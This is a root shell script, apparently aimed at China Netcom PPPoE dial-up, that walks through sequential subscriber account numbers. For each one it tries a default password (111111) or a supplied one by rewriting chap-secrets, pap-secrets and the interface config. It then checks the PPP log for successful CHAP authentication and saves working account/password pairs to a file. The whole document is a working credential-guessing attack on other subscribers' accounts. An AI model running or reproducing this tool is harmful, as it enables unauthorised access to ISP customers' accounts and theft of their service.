#!/bin/sh
#Copyright (C) Dong Pu <cocobearc@gmail.com>
#Copyright (C) WANG Cong <xiyou.wangcong@gmail.com>
#GPL v2 applies.
#update by cocobear at 07.06.10
if (($#  <1)) ; then
	echo "Wrong usage!"
	echo "$0 Number [pass]"
	exit 1
fi
if (($UID != 0)); then
	echo "Must be root to run the script!"
	exit 1
fi

#配置文件初始化
header=111000
tailer=0
median=$1
pass1=111111
pass2=$2
zero=0
UP="/sbin/ifup"
DOWN="/sbin/ifdown"
ETHDOWN="/sbin/ifconfig eth0 down"
ETHUP="/sbin/ifconfig eth0 up"
PPPNAME="cnc"
CHAP="/etc/ppp/chap-secrets"
PAP="/etc/ppp/pap-secrets"
IFCFG="/etc/sysconfig/network-scripts/ifcfg-cnc"
LOG="/var/log/ppplog.conf"
syslog="/etc/syslog.conf"

#设置日志文件
grep 'daemon' $syslog > /dev/null
daemon=$?
if (($daemon == 1)); then
	echo -e "daemon.*\t\t\t\t\t\t$LOG" >> $syslog  
	killall -HUP syslogd > /dev/null
fi

#测试CNC是否建立
if [ -e $IFCFG ] ; then 
	echo -e "cnc ok!"
else
	echo -e "cnc not exist!"
	exit 1
fi

#修改配置文件
sed '/^CONNECT_TIMEOUT=/d' $IFCFG > $IFCFG.tmp
echo "CONNECT_TIMEOUT=0" >> $IFCFG.tmp
mv $IFCFG.tmp $IFCFG



#如果设定开始与结束帐号
if (($# > 3)); then

	if (($3 != 0)) && (($4 != 0)); then
		let "mo1 = $3/100"
		let "mo2 = $4/100"
		if (($mo1 == $mo2)); then
			let "media = mo1"
			let "tailer = $3-$mo1*100"
			let "max = $4-$mo1*100"
			#echo $media,$tailer,$max
		else
			let "media = $3/1000"
			let "tailer = $3-$media*1000"
			let "max = $4-$media*1000"
			#echo $media,$tailer,$max
		fi
		end=$media
	fi
	else 
		end=$1
		max=0
	
fi

#判断输入号段,设置相应最大结束号，99，999用来判断号段的位数
if(($end <=99)); then
	end=999
	if (($max == 0)); then
		let "max = 999"
	fi
else
	if (($max == 0)); then
		let "max = 99"
	fi
	end=99
fi

#开始扫描
while (($tailer <= $max)); do
	stailer=$tailer
	#对不足的位数进行补零
	#echo $end
	#echo $tailer
	if (($tailer <= 9)); then
		if (($end == 99)); then
			stailer="$zero$stailer"
		else
			stailer="$zero$stailer"
		fi
	fi

	if (($tailer <= 99));then
		if (($end == 999)); then
			stailer="$zero$stailer"
		fi
	fi

	user="$header$median$stailer"

	#echo $user
	#let "tailer+=1"
	#done

	if [ -z $2 ]; then
		pass=$pass1
	else 
		pass=$pass2
	fi
	REPLACE="\"$user\"\t\"$PPPNAME\"\t\"$pass\"\n\"$user\"\t*\t\"$pass\""
	sed '/^USER=/d' $IFCFG > $IFCFG.tmp
	echo "USER=$user" >> $IFCFG.tmp
	mv $IFCFG.tmp $IFCFG
	echo -n '' > $CHAP 
	echo -e $REPLACE > $CHAP
	echo -n '' > $PAP
	echo -e $REPLACE > $PAP
	echo -n '' > $LOG
	$DOWN $PPPNAME
	$UP $PPPNAME >/dev/null 2>&1  
	sleep 3
	grep -q 'CHAP authentication failed' $LOG
	state=$?
	grep -q 'CHAP authentication succeeded' $LOG
	ret=$?
	grep -q 'Network is down' $LOG
	down=$?
	if (($state == 0)); then
		echo "$user+$pass failed!"
	else
		if (($ret == 0)); then
			$ETHDOWN
			echo "Success:$user---$pass" >> success
			sleep 30
			$ETHUP
			let "tailer+=1"
		fi
		if (($down == 0)); then
			echo "Network is down,now bring up it!"
			$ETHUP
		else 
		pppnum=$(ps -e | grep pppd | wc -l)
		while (($pppnum >= 2));do
			$DOWN $PPPNAME
			$ETHDOWN 
			echo -e "Too many process!\nWaiting pppd down...\n"
			sleep 5
			pppnum=$(ps -e | grep pppd | wc -l)
		done	
		let "tailer-=1"
		
		fi
	fi
	let "tailer+=1"
done
exit 0

